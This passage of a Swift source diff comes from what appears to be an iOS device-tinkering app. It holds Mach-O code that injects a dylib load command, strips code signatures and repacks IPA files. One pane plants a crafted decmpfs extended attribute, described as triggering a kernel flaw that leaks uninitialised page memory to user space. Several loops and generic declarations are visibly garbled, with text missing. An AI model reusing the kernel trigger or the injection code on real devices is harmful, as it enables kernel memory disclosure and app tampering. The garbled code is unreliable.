central.append(contentsOf: [0x50, 0x4B, 0x01, 0x02]) + central.append(contentsOf: B.le16(20)) // version made by + central.append(contentsOf: B.le16(20)) // version needed + central.append(contentsOf: B.le16(0x0800)) + central.append(contentsOf: B.le16(0)) + central.append(contentsOf: B.le16(dosTime)) + central.append(contentsOf: B.le16(dosDate)) + central.append(contentsOf: B.le32(crc)) + central.append(contentsOf: B.le32(size)) + central.append(contentsOf: B.le32(size)) + central.append(contentsOf: B.le16(UInt16(nameBytes.count))) + central.append(contentsOf: B.le16(0)) + central.append(contentsOf: B.le16(0)) + central.append(contentsOf: B.le16(0)) + central.append(contentsOf: B.le16(0)) + central.append(contentsOf: B.le32(0)) + central.append(contentsOf: B.le32(offset)) + central.append(contentsOf: nameBytes) + + count += 1 + } + + let centralOffset = UInt32(out.count) + out.append(central) + out.append(contentsOf: [0x50, 0x4B, 0x05, 0x06]) + out.append(contentsOf: B.le16(0)) + out.append(contentsOf: B.le16(0)) + out.append(contentsOf: B.le16(count)) + out.append(contentsOf: B.le16(count)) + out.append(contentsOf: B.le32(UInt32(central.count))) + out.append(contentsOf: B.le32(centralOffset)) + out.append(contentsOf: B.le16(0)) + return out + } +} + +// MARK: - Mach-O surgery + +enum MachO { + + struct Header { + var magic: UInt32 + var cputype: UInt32 + var cpusubtype: UInt32 + var filetype: UInt32 + var ncmds: UInt32 + var sizeofcmds: UInt32 + var flags: UInt32 + var reserved: UInt32 + var is64: Bool + var headerSize: Int { is64 ? 32 : 28 } + } + + struct LoadCommand { + var cmd: UInt32 + var size: UInt32 + var offset: Int + } + + static func header(_ data: Data) -> Header? { + guard data.count >= 32 else { return nil } + let magic = data.withUnsafeBytes { $0.load(fromByteOffset: 0, as: UInt32.self) } + guard magic == 0xFEEDFACF || magic == 0xFEEDFACE || magic == 0xCFFAEDFE else { return nil } + let is64 = magic == 0xFEEDFACF || magic == 0xCFFAEDFE + return Header( + magic: magic, + cputype: data.withUnsafeBytes { $0.load(fromByteOffset: 4, as: UInt32.self) }, + cpusubtype: data.withUnsafeBytes { $0.load(fromByteOffset: 8, as: UInt32.self) }, + filetype: data.withUnsafeBytes { $0.load(fromByteOffset: 12, as: UInt32.self) }, + ncmds: data.withUnsafeBytes { $0.load(fromByteOffset: 16, as: UInt32.self) }, + sizeofcmds: data.withUnsafeBytes { $0.load(fromByteOffset: 20, as: UInt32.self) }, + flags: data.withUnsafeBytes { $0.load(fromByteOffset: 24, as: UInt32.self) }, + reserved: is64 ? data.withUnsafeBytes { $0.load(fromByteOffset: 28, as: UInt32.self) } : 0, + is64: is64) + } + + static func commands(_ data: Data) -> [LoadCommand] { + guard let h = header(data) else { return [] } + var out: [LoadCommand] = [] + var offset = h.headerSize + for _ in 0..= 8, offset + Int(size) <= data.count else { break } + out.append(LoadCommand(cmd: cmd, size: size, offset: offset)) + offset += Int(size) + } + return out + } + + /// Lowest file offset occupied by real segment content — the padding window we may + /// write into without moving anything. + static func firstSectionOffset(_ data: Data) -> Int? { + guard header(data) != nil else { return nil } + var lowest: Int? + for c in commands(data) where c.cmd == 0x19 || c.cmd == 0x1 { // LC_SEGMENT_64 / LC_SEGMENT + let is64 = c.cmd == 0x19 + var sectionOffset = c.offset + (is64 ? 72 : 56) + let nsectsOffset = c.offset + (is64 ? 64 : 48) + guard nsectsOffset + 4 <= data.count else { continue } + let nsects = data.withUnsafeBytes { $0.load(fromByteOffset: nsectsOffset, as: UInt32.self) } + let sectSize = is64 ? 80 : 68 + for _ in 0.. Data { + guard let h = header(data) else { throw LabError(message: tl("不是 Mach-O")) } + guard h.is64 else { throw LabError(message: tl("只支持 64 位 Mach-O")) } + + let pathBytes = Array(dylibPath.utf8) + let rawSize = 24 + pathBytes.count + 1 + let cmdSize = (rawSize + 7) & ~7 + + let insertAt = h.headerSize + Int(h.sizeofcmds) + let limit = firstSectionOffset(data) ?? data.count + guard insertAt + cmdSize <= limit else { + throw LabError(message: tl("头部空隙不足:需要 ") + "\(cmdSize)" + tl(" B,可用 ") + "\(max(0, limit - insertAt))" + tl(" B")) + } + + var out = data + var cmd = Data() + cmd.append(contentsOf: B.le32(0x0C)) // LC_LOAD_DYLIB + cmd.append(contentsOf: B.le32(UInt32(cmdSize))) + cmd.append(contentsOf: B.le32(24)) // name offset + cmd.append(contentsOf: B.le32(2)) // timestamp + cmd.append(contentsOf: B.le32(0x00010000)) // current version + cmd.append(contentsOf: B.le32(0x00010000)) // compat version + cmd.append(contentsOf: pathBytes) + cmd.append(0) + while cmd.count < cmdSize { cmd.append(0) } + + out.replaceSubrange(insertAt..<(insertAt + cmdSize), with: cmd) + // bump ncmds / sizeofcmds + var ncmds = h.ncmds + 1 + var sizeofcmds = h.sizeofcmds + UInt32(cmdSize) + withUnsafeBytes(of: &ncmds) { out.replaceSubrange(16..<20, with: $0) } + withUnsafeBytes(of: &sizeofcmds) { out.replaceSubrange(20..<24, with: $0) } + return out + } + + /// Remove LC_CODE_SIGNATURE from the load-command stream so a re-sign starts clean. + /// + /// The command is spliced out and the remaining commands are shifted down — zeroing it + /// in place would leave a cmdsize==0 hole and desync every loader that walks the list. + static func stripSignature(_ data: Data) throws -> (Data, Int) { + guard let h = header(data) else { throw LabError(message: tl("不是 Mach-O")) } + var out = data + var removed = 0 + var offset = h.headerSize + var kept = Data() + + for _ in 0..= 8, offset + Int(size) <= data.count else { break } + if cmd == 0x1D { // LC_CODE_SIGNATURE + removed += 1 + } else { + kept.append(data[offset..<(offset + Int(size))]) + } + offset += Int(size) + } + guard removed > 0 else { return (data, 0) } + + // rewrite the command stream in place, then zero the tail of the old region + let streamStart = h.headerSize + let oldEnd = streamStart + Int(h.sizeofcmds) + out.replaceSubrange(streamStart..<(streamStart + kept.count), with: kept) + if streamStart + kept.count < oldEnd { + for i in (streamStart + kept.count).. (Data, Int) { + let needle = Array(find.utf8) + let replacement = Array(replace.utf8) + guard !needle.isEmpty else { throw LabError(message: tl("搜索串为空")) } + guard replacement.count <= needle.count else { + throw LabError(message: tl("替换串不能比原串长(") + "\(replacement.count)" + tl(" > ") + "\(needle.count)" + tl(")")) + } + var haystack = [UInt8](data) + var hits = 0 + var i = 0 + while i + needle.count <= haystack.count { + var matched = true + for k in 0.. IPAResult { + let fm = FileManager.default + let stage = workdir.appendingPathComponent("ipa-\(Int(Date().timeIntervalSince1970))", isDirectory: true) + try? fm.removeItem(at: stage) + try fm.createDirectory(at: stage, withIntermediateDirectories: true) + + guard let archive = try? Data(contentsOf: source) else { + throw LabError(message: tl("读取 IPA 失败")) + } + let extracted = Runners.Archive.extractAll(archive, to: stage) + guard extracted.count > 0 else { + throw LabError(message: tl("解包失败:") + "\(extracted.status)") + } + + var notes: [String] = [tl("解包 ") + "\(extracted.count)" + tl(" 项")] + let payload = stage.appendingPathComponent("Payload") + guard let appName = (try? fm.contentsOfDirectory(atPath: payload.path))? + .first(where: { $0.hasSuffix(".app") }) else { + throw LabError(message: tl("Payload/ 下没有 .app")) + } + let app = payload.appendingPathComponent(appName) + notes.append(tl("目标 ") + "\(appName)") + + // ---- Info.plist rewrite + let infoURL = app.appendingPathComponent("Info.plist") + if var info = (try? Data(contentsOf: infoURL)) + .flatMap({ try? PropertyListSerialization.propertyList(from: $0, format: nil) as? [String: Any] }) { + if let v = recipe.bundleID { info["CFBundleIdentifier"] = v; notes.append("bundle id → \(v)") } + if let v = recipe.displayName { info["CFBundleDisplayName"] = v; notes.append(tl("名称 → ") + "\(v)") } + if let v = recipe.version { info["CFBundleShortVersionString"] = v } + if let v = recipe.buildVersion { info["CFBundleVersion"] = v } + if let v = recipe.minOS { info["MinimumOSVersion"] = v } + if let data = try? PropertyListSerialization.data(fromPropertyList: info, format: .binary, options: 0) { + try? data.write(to: infoURL) + } + } else { + notes.append(tl("Info.plist 读取失败,跳过字段改写")) + } + + // ---- executable surgery + guard let execName = (try? Data(contentsOf: infoURL)) + .flatMap({ try? PropertyListSerialization.propertyList(from: $0, format: nil) as? [String: Any] })?["CFBundleExecutable"] as? String + ?? (try? fm.contentsOfDirectory(atPath: app.path))?.first(where: { $0 == appName.replacingOccurrences(of: ".app", with: "") }) else { + throw LabError(message: tl("找不到主二进制名")) + } + let execURL = app.appendingPathComponent(execName) + + if let binary = try? Data(contentsOf: execURL) { + var current = binary + if let dylib = recipe.injectedDylib, !dylib.isEmpty { + do { + current = try MachO.injectLoad(current, dylibPath: dylib) + notes.append(tl("注入 LC_LOAD_DYLIB → ") + "\(dylib)") + } catch { + notes.append(tl("注入失败: ") + "\(error.localizedDescription)") + } + } + if let find = recipe.patchedString, !find.isEmpty { + do { + let (patched, hits) = try MachO.patchStrings(current, + find: find, + replace: recipe.patchedReplacement ?? "") + current = patched + notes.append(tl("字符串替换 ") + "\(hits)" + tl(" 处")) + } catch { + notes.append(tl("替换失败: ") + "\(error.localizedDescription)") + } + } + if recipe.stripSignature { + if let (stripped, removed) = try? MachO.stripSignature(current) { + current = stripped + if removed > 0 { notes.append(tl("移除 LC_CODE_SIGNATURE ×") + "\(removed)") } + } + } + try? current.write(to: execURL) + } else { + notes.append(tl("主二进制读取失败(可能已加密)")) + } + + // ---- repack + var zip = ZipWriter() + let enumerator = fm.enumerator(at: stage, includingPropertiesForKeys: [.isDirectoryKey]) + var files = 0 + while let url = enumerator?.nextObject() as? URL { + let values = try? url.resourceValues(forKeys: [.isDirectoryKey]) + if values?.isDirectory == true { continue } + let relative = url.path.replacingOccurrences(of: stage.path + "/", with: "") + if let data = try? Data(contentsOf: url) { + zip.add(relative, data) + files += 1 + } + } + notes.append(tl("重打包 ") + "\(files)" + tl(" 个文件")) + + let outURL = workdir.appendingPathComponent("patched-\(appName.replacingOccurrences(of: ".app", with: "")).ipa") + try zip.build().write(to: outURL) + try? fm.removeItem(at: stage) + return IPAResult(outputURL: outURL, entries: files, notes: notes) + } +} + +// MARK: - Hex editing + +enum HexTool { + static func search(_ data: Data, pattern: String, limit: Int = 500) -> [Int] { + let needle: [UInt8] + if pattern.contains(" ") || pattern.hasPrefix("0x") { + let cleaned = pattern.replacingOccurrences(of: "0x", with: "") + .replacingOccurrences(of: " ", with: "") + guard cleaned.count % 2 == 0 else { return [] } + var bytes: [UInt8] = [] + var i = cleaned.startIndex + while i < cleaned.endIndex { + let next = cleaned.index(i, offsetBy: 2) + guard let b = UInt8(cleaned[i.. (Data, Int) { + var bytes = [UInt8](data) + let needle: [UInt8] + let replacementBytes: [UInt8] + if pattern.contains(" ") || pattern.hasPrefix("0x") { + let cleaned = pattern.replacingOccurrences(of: "0x", with: "").replacingOccurrences(of: " ", with: "") + var out: [UInt8] = [] + var i = cleaned.startIndex + while i < cleaned.endIndex { + // odd trailing hex digit: malformed input, refuse instead of trapping + guard cleaned.distance(from: i, to: cleaned.endIndex) >= 2, + let next = Optional(cleaned.index(i, offsetBy: 2)), + let b = UInt8(cleaned[i..= 2, + let next = Optional(cleaned.index(i, offsetBy: 2)), + let b = UInt8(cleaned[i.. [(String, Int)] { + var size = listxattr(path, nil, 0, 0) + guard size > 0 else { return [] } + var buffer = [CChar](repeating: 0, count: size) + size = listxattr(path, &buffer, size, 0) + guard size > 0 else { return [] } + var names: [String] = [] + var current: [CChar] = [] + for c in buffer { + if c == 0 { + if !current.isEmpty { names.append(String(cString: current)); current = [] } + } else { current.append(c) } + } + return names.map { name in + var vlen = getxattr(path, name, nil, 0, 0, 0) + if vlen < 0 { vlen = 0 } + return (name, vlen) + } + } + + static func read(_ path: String, name: String) -> Data? { + let len = getxattr(path, name, nil, 0, 0, 0) + guard len > 0 else { return nil } + var buffer = [UInt8](repeating: 0, count: len) + let got = getxattr(path, name, &buffer, len, 0, 0) + guard got > 0 else { return nil } + return Data(buffer.prefix(got)) + } + + @discardableResult + static func write(_ path: String, name: String, value: Data) -> String? { + let rc = value.withUnsafeBytes { raw -> Int32 in + guard let base = raw.baseAddress else { return -1 } + return setxattr(path, name, base, value.count, 0, 0) + } + return rc == 0 ? nil : "setxattr errno=\(errno)" + } + + @discardableResult + static func remove(_ path: String, name: String) -> String? { + removexattr(path, name, 0) == 0 ? nil : "removexattr errno=\(errno)" + } + + static func decmpfsHeader(_ data: Data) -> String { + guard data.count >= 16 else { return tl("数据过短") } + let magic = data.withUnsafeBytes { $0.load(fromByteOffset: 0, as: UInt32.self) } + guard magic == 0x636D_7066 else { return tl("不是 decmpfs(magic 0x") + "\(String(magic, radix: 16))" + tl(")") } + let type = data.withUnsafeBytes { $0.load(fromByteOffset: 4, as: UInt32.self) } + let size = data.withUnsafeBytes { $0.load(fromByteOffset: 8, as: UInt64.self) } + let names: [UInt32: String] = [3: "zlib", 4: "zlib-chunked", 7: "lzvn", 8: "lzfse", 9: "lzbitmap", 11: "lzfse-chunked", 12: "lzvn-chunked"] + return tl("magic cmpf · 类型 ") + "\(type)" + tl(" (") + "\(names[type] ?? tl("未知"))" + tl(") · 原始大小 ") + "\(size)" + tl(" B · xattr ") + "\(data.count)" + tl(" B") + } +} + +// MARK: - SQLite + +#if canImport(SQLite3) +import SQLite3 + +enum SQLiteBrowser { + struct Result { + var columns: [String] + var rows: [[String]] + var error: String? + } + + static func tables(_ path: String) -> [String] { + query(path, "SELECT name FROM sqlite_master WHERE type='table' ORDER BY name;").rows.compactMap { $0.first } + } + + static func query(_ path: String, _ sql: String) -> Result { + var db: OpaquePointer? + guard sqlite3_open_v2(path, &db, SQLITE_OPEN_READONLY, nil) == SQLITE_OK, let handle = db else { + return Result(columns: [], rows: [], error: tl("打开失败")) + } + defer { sqlite3_close(handle) } + + var stmt: OpaquePointer? + guard sqlite3_prepare_v2(handle, sql, -1, &stmt, nil) == SQLITE_OK, let s = stmt else { + return Result(columns: [], rows: [], error: String(cString: sqlite3_errmsg(handle))) + } + defer { sqlite3_finalize(s) } + + var columns: [String] = [] + for i in 0..= 2000 { break } + } + return Result(columns: columns, rows: rows, error: nil) + } +} +#endif + +// MARK: - Font installer + +enum FontInstaller { + static func install(_ url: URL) -> String { + var error: Unmanaged? + let ok = CTFontManagerRegisterFontsForURL(url as CFURL, .user, &error) + if ok { return tl("已注册到用户字体域:") + "\(url.lastPathComponent)" } + if let e = error?.takeRetainedValue() { + return tl("注册失败:") + "\(e)" + } + return tl("注册失败(无错误信息)") + } + + static func installed() -> [String] { + let descriptors = CTFontManagerCopyAvailablePostScriptNames() as? [String] ?? [] + return descriptors.sorted() + } +} + +// MARK: - System telemetry + +enum Telemetry { + static func battery() -> [(String, String)] { + var rows: [(String, String)] = [] + guard let sym = DyLib.shared.symbol("IOPSCopyPowerSourcesInfo") else { + return [(tl("电源"), tl("IOPSCopyPowerSourcesInfo 不可用"))] + } + typealias CopyFn = @convention(c) () -> Unmanaged? + let fn = unsafeBitCast(sym, to: CopyFn.self) + guard let info = fn()?.takeRetainedValue() else { return [(tl("电源"), tl("无数据"))] } + let arr = info as? [[String: Any]] ?? [] + for source in arr { + if let cap = source["Current Capacity"] as? Int, + let max = source["Max Capacity"] as? Int, max > 0 { + rows.append((tl("电量"), "\(cap * 100 / max)%")) + } + if let charging = source["Is Charging"] as? Bool { + rows.append((tl("充电中"), charging ? tl("是") : tl("否"))) + } + if let name = source["Name"] as? String { rows.append((tl("电源"), name)) } + if let temp = source["Temperature"] as? Int { rows.append((tl("温度"), "\(Double(temp) / 10.0) °C")) } + } + if rows.isEmpty { rows.append((tl("电源"), tl("未返回数据(沙盒或接口不可用)"))) } + return rows + } + + static func interfaces() -> [(String, String)] { + var rows: [(String, String)] = [] + var addrs: UnsafeMutablePointer? + guard getifaddrs(&addrs) == 0, let first = addrs else { return [(tl("网络"), tl("getifaddrs 失败"))] } + defer { freeifaddrs(addrs) } + var seen = Set() + var cursor: UnsafeMutablePointer? = first + while let p = cursor { + let ifa = p.pointee + let name = String(cString: ifa.ifa_name) + if !seen.contains(name), let addr = ifa.ifa_addr { + let family = addr.pointee.sa_family + if family == UInt8(AF_INET) || family == UInt8(AF_INET6) { + var host = [CChar](repeating: 0, count: Int(NI_MAXHOST)) + if getnameinfo(addr, socklen_t(addr.pointee.sa_len), &host, socklen_t(host.count), + nil, 0, NI_NUMERICHOST) == 0 { + let text = String(cString: host) + if !text.hasPrefix("fe80") && text != "::1" && text != "127.0.0.1" { + rows.append((name, text)) + seen.insert(name) + } + } + } + } + cursor = ifa.ifa_next + } + return rows.isEmpty ? [(tl("网络"), tl("无外部地址"))] : rows + } + + static func thermal() -> [(String, String)] { + var rows: [(String, String)] = [] + switch ProcessInfo.processInfo.thermalState { + case .nominal: rows.append((tl("热状态"), "nominal")) + case .fair: rows.append((tl("热状态"), "fair")) + case .serious: rows.append((tl("热状态"), "serious")) + case .critical: rows.append((tl("热状态"), "critical")) + @unknown default: rows.append((tl("热状态"), "unknown")) + } + rows.append((tl("低电量模式"), ProcessInfo.processInfo.isLowPowerModeEnabled ? tl("开") : tl("关"))) + rows.append((tl("物理内存"), ByteCountFormatter.string(fromByteCount: Int64(ProcessInfo.processInfo.physicalMemory), countStyle: .memory))) + if let stats = Mach.vmStats() { + rows.append((tl("空闲"), ByteCountFormatter.string(fromByteCount: Int64(stats.free), countStyle: .memory))) + rows.append((tl("活跃"), ByteCountFormatter.string(fromByteCount: Int64(stats.active), countStyle: .memory))) + rows.append((tl("联动"), ByteCountFormatter.string(fromByteCount: Int64(stats.wired), countStyle: .memory))) + } + rows.append((tl("运行时长"), uptimeString())) + return rows + } + + private static func uptimeString() -> String { + var boottime = timeval() + var size = MemoryLayout.size + guard sysctlbyname("kern.boottime", &boottime, &size, nil, 0) == 0 else { return "—" } + let uptime = Date().timeIntervalSince1970 - Double(boottime.tv_sec) + let h = Int(uptime) / 3600 + let m = (Int(uptime) % 3600) / 60 + return "\(h)h \(m)m" + } +} + +// MARK: - Provisioning profile census + +enum ProfileCensus { + struct Profile { + var name: String + var uuid: String + var teamID: String + var appID: String + var expires: Date? + var devices: Int + var entitlements: [String] + var path: String + } + + static func installed() -> [Profile] { + let dirs = ["/private/var/MobileDevice/ProvisioningProfiles", + "/private/var/mobile/Library/MobileDevice/ProvisioningProfiles"] + var out: [Profile] = [] + for dir in dirs { + guard let names = try? FileManager.default.contentsOfDirectory(atPath: dir) else { continue } + for name in names where name.hasSuffix(".mobileprovision") { + let path = (dir as NSString).appendingPathComponent(name) + guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)), + let text = String(data: data, encoding: .isoLatin1), + let start = text.range(of: "") else { continue } + let xml = String(text[start.lowerBound.., _ placeholder: String) -> some View { + HStack(spacing: 10) { + Text(label).font(T.body).foregroundColor(.white.opacity(0.45)).frame(width: 96, alignment: .leading) + TextField(placeholder, text: binding) + .font(T.mono) + .textInputAutocapitalization(.never) + .autocorrectionDisabled() + .padding(8) + .background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi)) + } + } + + private func run() { + guard let source = source else { return } + busy = true + log = [] + output = nil + var recipe = IPARecipe() + recipe.bundleID = bundleID.isEmpty ? nil : bundleID + recipe.displayName = displayName.isEmpty ? nil : displayName + recipe.version = version.isEmpty ? nil : version + recipe.buildVersion = buildVersion.isEmpty ? nil : buildVersion + recipe.minOS = minOS.isEmpty ? nil : minOS + recipe.injectedDylib = dylib.isEmpty ? nil : dylib + recipe.patchedString = patchFind.isEmpty ? nil : patchFind + recipe.patchedReplacement = patchReplace.isEmpty ? nil : patchReplace + recipe.stripSignature = stripSig + + let dir = workdir + DispatchQueue.global(qos: .userInitiated).async { + var lines: [String] = [] + var result: URL? + do { + let r = try IPASurgeon.patch(source: source, recipe: recipe, workdir: dir) + lines = r.notes + lines.append(tl("产出 ") + "\(r.entries)" + tl(" 个文件")) + result = r.outputURL + } catch { + lines.append(tl("失败: ") + "\(error.localizedDescription)") + } + DispatchQueue.main.async { + log = lines + output = result + busy = false + } + } + } +} + +// MARK: - Hex editor + +struct HexPane: View { + @State private var target: URL? + @State private var picking = false + @State private var dump = "" + @State private var find = "" + @State private var replaceWith = "" + @State private var hits: [Int] = [] + @State private var status = "" + @State private var offsetLimit = 8192 + + var body: some View { + ScrollView { + VStack(spacing: 14) { + Card { + VStack(alignment: .leading, spacing: 10) { + SectionLabel(text: tl("目标")) + Button { picking = true } label: { + HStack(spacing: 8) { + Image(systemName: "doc.text.magnifyingglass").font(.system(size: 12)) + Text(target?.lastPathComponent ?? tl("选择一个文件")).font(T.body) + Spacer() + Image(systemName: "chevron.right").font(.system(size: 10, weight: .bold)) + } + .foregroundColor(target == nil ? .white.opacity(0.4) : T.ember) + .padding(10) + .background(RoundedRectangle(cornerRadius: 9).fill(T.panelHi)) + } + if !status.isEmpty { + Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.6)) + } + } + } + + Card { + VStack(alignment: .leading, spacing: 8) { + SectionLabel(text: tl("查找 / 替换")) + TextField(tl("文本,或 41 42 43 / 0x414243"), text: $find) + .font(T.mono).textInputAutocapitalization(.never).autocorrectionDisabled() + .padding(8).background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi)) + TextField(tl("替换(可选,不能更长)"), text: $replaceWith) + .font(T.mono).textInputAutocapitalization(.never).autocorrectionDisabled() + .padding(8).background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi)) + HStack(spacing: 8) { + RunButton(title: tl("查找"), systemImage: "magnifyingglass", tint: T.info, + disabled: target == nil || find.isEmpty) { search() } + RunButton(title: tl("替换并保存"), systemImage: "arrow.triangle.2.circlepath", + tint: T.ember, + disabled: target == nil || find.isEmpty || replaceWith.isEmpty) { replace() } + } + if !hits.isEmpty { + Text(tl("命中 ") + "\(hits.count)" + tl(" 处: ") + hits.prefix(12).map { String(format: "0x%x", $0) }.joined(separator: ", ")) + .font(T.monoSm).foregroundColor(T.good) + .fixedSize(horizontal: false, vertical: true) + } + } + } + + if !dump.isEmpty { + Card { + VStack(alignment: .leading, spacing: 4) { + HStack { + SectionLabel(text: tl("十六进制")) + Spacer() + Button(tl("更多")) { offsetLimit += 16384; load() } + .font(T.tiny).tint(T.ember) + } + Text(dump) + .font(.system(size: 10, design: .monospaced)) + .foregroundColor(.white.opacity(0.72)) + .textSelection(.enabled) + .frame(maxWidth: .infinity, alignment: .leading) + } + } + } + } + .padding(16) + } + .sheet(isPresented: $picking) { + FilePickerSheet(isPresented: $picking) { url in + target = url + hits = [] + status = "" + load() + } + } + } + + private func load() { + guard let target = target else { return } + guard let data = try? Data(contentsOf: target) else { + status = tl("读取失败") + return + } + dump = hexdump(data, limit: offsetLimit) + status = "\(data.count) B" + } + + private func search() { + guard let target = target, let data = try? Data(contentsOf: target) else { return } + hits = HexTool.search(data, pattern: find) + status = hits.isEmpty ? tl("未命中") : tl("命中 ") + "\(hits.count)" + tl(" 处") + } + + private func replace() { + guard let target = target, let data = try? Data(contentsOf: target) else { return } + let backup = target.path + ".cinder27.bak" + if !FileManager.default.fileExists(atPath: backup) { + try? FileManager.default.copyItem(atPath: target.path, toPath: backup) + } + let (patched, count) = HexTool.replace(data, pattern: find, with: replaceWith) + if count == 0 { + status = tl("未命中,未写入") + return + } + do { + try patched.write(to: target) + status = tl("替换 ") + "\(count)" + tl(" 处并已保存(备份 ") + "\(URL(fileURLWithPath: backup).lastPathComponent)" + tl(")") + load() + hits = HexTool.search(patched, pattern: replaceWith) + } catch { + status = tl("写入失败: ") + "\(error.localizedDescription)" + } + } +} + +// MARK: - xattr / decmpfs + +struct XattrPane: View { + @State private var target: URL? + @State private var picking = false + @State private var entries: [(String, Int)] = [] + @State private var detail: [String] = [] + @State private var status = "" + + var body: some View { + ScrollView { + VStack(spacing: 14) { + Card { + VStack(alignment: .leading, spacing: 10) { + SectionLabel(text: tl("目标文件")) + Button { picking = true } label: { + HStack(spacing: 8) { + Image(systemName: "tag.fill").font(.system(size: 12)) + Text(target?.lastPathComponent ?? tl("选择文件")).font(T.body) + Spacer() + Image(systemName: "chevron.right").font(.system(size: 10, weight: .bold)) + } + .foregroundColor(target == nil ? .white.opacity(0.4) : T.ember) + .padding(10) + .background(RoundedRectangle(cornerRadius: 9).fill(T.panelHi)) + } + if !status.isEmpty { + Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.6)) + } + } + } + + Card { + VStack(alignment: .leading, spacing: 6) { + SectionLabel(text: tl("扩展属性")) + if entries.isEmpty { + Text(tl("无")).font(T.monoSm).foregroundColor(.white.opacity(0.3)) + } else { + ForEach(Array(entries.enumerated()), id: \.offset) { _, e in + HStack { + Text(e.0).font(T.monoSm).foregroundColor(.white.opacity(0.75)) + Spacer() + Text("\(e.1) B").font(T.monoSm).foregroundColor(.white.opacity(0.3)) + } + } + } + } + } + + if !detail.isEmpty { + Card { + VStack(alignment: .leading, spacing: 4) { + SectionLabel(text: tl("详情")) + ForEach(Array(detail.enumerated()), id: \.offset) { _, line in + Text(line).font(T.monoSm).foregroundColor(.white.opacity(0.65)) + .fixedSize(horizontal: false, vertical: true) + } + } + } + } + + Card { + VStack(alignment: .leading, spacing: 8) { + SectionLabel(text: tl("decmpfs 操作")) + Text(tl("com.apple.decmpfs 是内核压缩文件系统用的属性。改它等于直接改内核解压的输入 —— CVE-2026-113910 就是这条路径上「解压产出少于预期」时内核把未写满的页缓冲交给用户态。这里可以手动设一个、读回来、再删掉。")) + .font(T.tiny).foregroundColor(.white.opacity(0.38)) + .fixedSize(horizontal: false, vertical: true) + HStack(spacing: 8) { + RunButton(title: tl("写入探测属性"), systemImage: "square.and.arrow.down", + tint: T.ember, disabled: target == nil) { plantDecmpfs() } + RunButton(title: tl("移除"), systemImage: "trash", tint: T.warn, + disabled: target == nil) { removeDecmpfs() } + } + } + } + } + .padding(16) + } + .sheet(isPresented: $picking) { + FilePickerSheet(isPresented: $picking) { url in + target = url + reload() + } + } + } + + private func reload() { + guard let target = target else { return } + entries = XattrTool.list(target.path) + detail = [] + if let data = XattrTool.read(target.path, name: "com.apple.decmpfs") { + detail.append(XattrTool.decmpfsHeader(data)) + detail.append(hexdump(data, limit: 128)) + } + status = "\(entries.count)" + tl(" 个属性") + } + + private func plantDecmpfs() { + guard let target = target else { return } + let payload = Decmpfs.chunkedXattr(uncompressedSize: 65536, chunkCount: 1, producePerChunk: 4096) + if let err = XattrTool.write(target.path, name: "com.apple.decmpfs", value: payload) { + status = tl("写入失败: ") + "\(err)" + } else { + status = tl("已写入 ") + "\(payload.count)" + tl(" B 的 decmpfs 属性") + } + reload() + } + + private func removeDecmpfs() { + guard let target = target else { return } + if let err = XattrTool.remove(target.path, name: "com.apple.decmpfs") { + status = tl("移除失败: ") + "\(err)" + } else { + status = tl("已移除") + } + reload() + } +} + +// MARK: - SQLite + +struct SQLitePane: View { + @State private var target: URL? + @State private var picking = false + @State private var tables: [String] = [] + @State private var sql = "SELECT * FROM sqlite_master LIMIT 20;" + @State private var columns: [String] = [] + @State private var rows: [[String]] = [] + @State private var status = "" + + var body: some View { + ScrollView { + VStack(spacing: 14) { + Card { + VStack(alignment: .leading, spacing: 10) { + SectionLabel(text: tl("数据库")) + Button { picking = true } label: { + HStack(spacing: 8) { + Image(systemName: "cylinder.split.1x2").font(.system(size: 12)) + Text(target?.lastPathComponent ?? tl("选择 .sqlite / .db")).font(T.body) + Spacer() + Image(systemName: "chevron.right").font(.system(size: 10, weight: .bold)) + } + .foregroundColor(target == nil ? .white.opacity(0.4) : T.ember) + .padding(10) + .background(RoundedRectangle(cornerRadius: 9).fill(T.panelHi)) + } + if !tables.isEmpty { + Text(tl("表: ") + tables.prefix(12).joined(separator: ", ")) + .font(T.monoSm).foregroundColor(.white.opacity(0.45)) + .fixedSize(horizontal: false, vertical: true) + } + } + } + + Card { + VStack(alignment: .leading, spacing: 8) { + SectionLabel(text: tl("查询(只读)")) + TextEditor(text: $sql) + .font(.system(size: 11.5, design: .monospaced)) + .frame(height: 90) + .scrollContentBackground(.hidden) + .background(T.panelHi) + .cornerRadius(8) + RunButton(title: tl("执行"), systemImage: "play.fill", tint: T.info, + disabled: target == nil) { runQuery() } + if !status.isEmpty { + Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.55)) + } + } + } + + if !columns.isEmpty { + Card { + VStack(alignment: .leading, spacing: 4) { + Text(columns.joined(separator: " | ")) + .font(.system(size: 10, weight: .semibold, design: .monospaced)) + .foregroundColor(T.emberSoft) + .fixedSize(horizontal: false, vertical: true) + Divider().overlay(T.stroke) + ForEach(Array(rows.enumerated()), id: \.offset) { _, row in + Text(row.joined(separator: " | ")) + .font(.system(size: 10, design: .monospaced)) + .foregroundColor(.white.opacity(0.7)) + .fixedSize(horizontal: false, vertical: true) + } + } + } + } + } + .padding(16) + } + .sheet(isPresented: $picking) { + FilePickerSheet(isPresented: $picking) { url in + target = url + open() + } + } + } + + private func open() { + guard let target = target else { return } + #if canImport(SQLite3) + tables = SQLiteBrowser.tables(target.path) + status = "\(tables.count)" + tl(" 张表") + #else + status = tl("SQLite3 不可用") + #endif + } + + private func runQuery() { + guard let target = target else { return } + #if canImport(SQLite3) + let result = SQLiteBrowser.query(target.path, sql) + columns = result.columns + rows = result.rows + status = result.error ?? "\(result.rows.count)" + tl(" 行") + #endif + } +} + +// MARK: - Fonts + +struct FontPane: View { + @State private var picking = false + @State private var log: [String] = [] + @State private var names: [String] = [] + + var body: some View { + ScrollView { + VStack(spacing: 14) { + Card { + VStack(alignment: .leading, spacing: 10) { + SectionLabel(text: tl("字体安装")) + Text(tl("把字体文件注册进本进程的字体域。iOS 允许应用注册用户字体,注册后 CoreText 立刻可见 —— 这是改机里唯一一条完全不需要任何越权就能改「系统观感」的路径,代价是只在本进程生效。")) + .font(T.body).foregroundColor(.white.opacity(0.65)) + .fixedSize(horizontal: false, vertical: true) + RunButton(title: tl("选择字体文件"), systemImage: "textformat", tint: T.ember) { + picking = true + } + } + } + + if !log.isEmpty { + Card { + 